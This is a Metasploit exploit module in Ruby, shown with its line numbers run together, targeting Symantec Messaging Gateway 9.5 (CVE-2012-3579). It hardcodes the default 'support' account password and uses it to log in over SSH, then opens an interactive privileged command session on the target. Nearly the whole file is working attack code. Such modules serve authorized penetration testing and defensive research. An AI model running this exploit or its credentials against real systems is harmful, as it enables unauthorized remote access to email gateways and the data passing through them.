Path: blob/master/modules/exploits/linux/ssh/symantec_smg_ssh.rb
28258 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'net/ssh'6require 'net/ssh/command_stream'78class MetasploitModule < Msf::Exploit::Remote9Rank = ExcellentRanking1011include Msf::Exploit::Remote::SSH1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Symantec Messaging Gateway 9.5 Default SSH Password Vulnerability',18'Description' => %q{19This module exploits a default misconfiguration flaw on Symantec Messaging Gateway.20The 'support' user has a known default password, which can be used to login to the21SSH service, and gain privileged access from remote.22},23'License' => MSF_LICENSE,24'Author' => [25'Stefan Viehbock', # Original discovery26'Ben Williams', # Reporting the vuln + coordinated release27'sinn3r' # Metasploit28],29'References' => [30['CVE', '2012-3579'],31['OSVDB', '85028'],32['BID', '55143'],33['URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20120827_00'],34['ATT&CK', Mitre::Attack::Technique::T1021_004_SSH]35],36'DefaultOptions' => {37'EXITFUNC' => 'thread'38},39'Payload' => {40'Compat' => {41'PayloadType' => 'cmd_interact',42'ConnectionType' => 'find'43}44},45'Platform' => 'unix',46'Arch' => ARCH_CMD,47'Targets' => [48['Symantec Messaging Gateway 9.5', {}],49],50'Privileged' => true,51# Timestamp on Symantec advisory52# But was found on Jun 26, 201253'DisclosureDate' => '2012-08-27',54'DefaultTarget' => 0,55'Notes' => {56'Stability' => [CRASH_SAFE],57'Reliability' => [REPEATABLE_SESSION],58'SideEffects' => []59}60)61)6263register_options([64Opt::RPORT(22)65])6667register_advanced_options([68OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]),69OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30])70])71end7273def do_login(user, pass)74opts = ssh_client_defaults.merge({75auth_methods: ['password', 'keyboard-interactive'],76port: rport,77password: pass78})7980opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']8182begin83ssh = nil84::Timeout.timeout(datastore['SSH_TIMEOUT']) do85ssh = Net::SSH.start(rhost, user, opts)86end87rescue Rex::ConnectionError88return89rescue Net::SSH::Disconnect, ::EOFError90print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"91return92rescue ::Timeout::Error93print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"94return95rescue Net::SSH::AuthenticationFailed96print_error "#{rhost}:#{rport} SSH - Failed authentication"97rescue Net::SSH::Exception => e98print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"99return100end101102if ssh103conn = Net::SSH::CommandStream.new(ssh, logger: self)104ssh = nil105return conn106end107108return nil109end110111def exploit112user = 'support'113pass = 'symantec'114115print_status("#{rhost}:#{rport} - Attempt to login...")116conn = do_login(user, pass)117if conn118print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")119handler(conn.lsock)120end121end122end123124125